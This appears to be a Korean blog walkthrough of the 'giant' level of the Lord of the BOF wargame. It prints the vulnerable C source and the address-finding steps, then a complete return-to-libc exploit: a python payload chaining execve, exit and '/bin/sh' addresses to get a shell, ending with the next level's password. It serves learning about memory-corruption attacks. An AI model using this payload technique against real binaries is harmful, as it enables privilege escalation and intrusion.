2011. 6. 9. 19:48

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- giant

- RTL2

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

   

main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

   

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);

   

execve_addr = lib_addr + (int)execve_offset;

// end

   

memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


♧ evecve의 주소를 구하여 argv[1][44]의 RET Address부분이 execve의 주소와 동일하지 않으면

종료된다. 그럼으로 문제의 제목과 같이 execve를 이용한 RTL(Return-into-Libc) 방법이 사용된다.

(전체적인 구성은 [ LEVEL13 ] 과 같음으로 참고 하자.)


   

1) 구성도

execve() 시스템 콜을 호출한 프로세스를 새로운 프로세스로 변경한다. (환경변수 정보 추가 기능)
ⓑ 대략적인 구성도는 다음과 같다.

*execve의 두 번째 인자는 char 포인터 배열 임으로 argv[0]의 "/bin/sh"는 copyed argv[0]를 이용한다.

(즉, 이름을 심볼릭 링크하여 argv[0]으로 만듬)
*NULL은 스택 끝에 0xbffffffc를 이용한다.


   

2) 필요한 주소를 찾아 보자.

① GDB로 execve(), exit() 주소 찾기.

② "/bin/sh" 주소 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

③ execve()의 두 번째 인자로 사용할 copyed argv[0]의 주소 찾기.

ⓐ 권한이 없음으로 sed로 24번 라인을 변경 후 사본을 만든다.

[bugbear@localhost bugbear]$ sed -e 's/giant\/assassin/bugbear\/giant/g' giant.c > tnaig.c

ⓑ 컴파일

[bugbear@localhost bugbear]$ gcc tnaig.c -o $(echo -en "\xf9\xbf\x0f\x40")

ⓒ GDB로 copyed argv[0] 주소 찾기. (*전체 경로를 더해준다)

   

execve

0x400a9d48

exit

0x400391e0

"/bin/sh"

0x400fbff9

argv= {"/bin/sh, 0}

0xbffffff7


   

∑ 익스플로잇 작성!

① 공격할 원본 바이너리 파일(giant)에 심볼릭 링크.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")


② 찾은 주소로 공격 스크립트 작성.

(execve의 주소에 "\x0a"를 "00"으로 취급하기 때문에 스크립트 양쪽에 큰따옴표(double quotation)를 붙여준다.

execve
[ 0x400a9d48 ]

exit
[ 0x400391e0 ]

"/bin/sh"
[ 0x400fbff9 ]

argv
[ 0xbffffff7 ]

NULL
[ 0xbffffffc ]

"$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

   

∑xploit

./$(echo -en "\xf9\xbf\x0f\x40") "$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

성공!!!


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
bugbear : "new divide"

Posted by devanix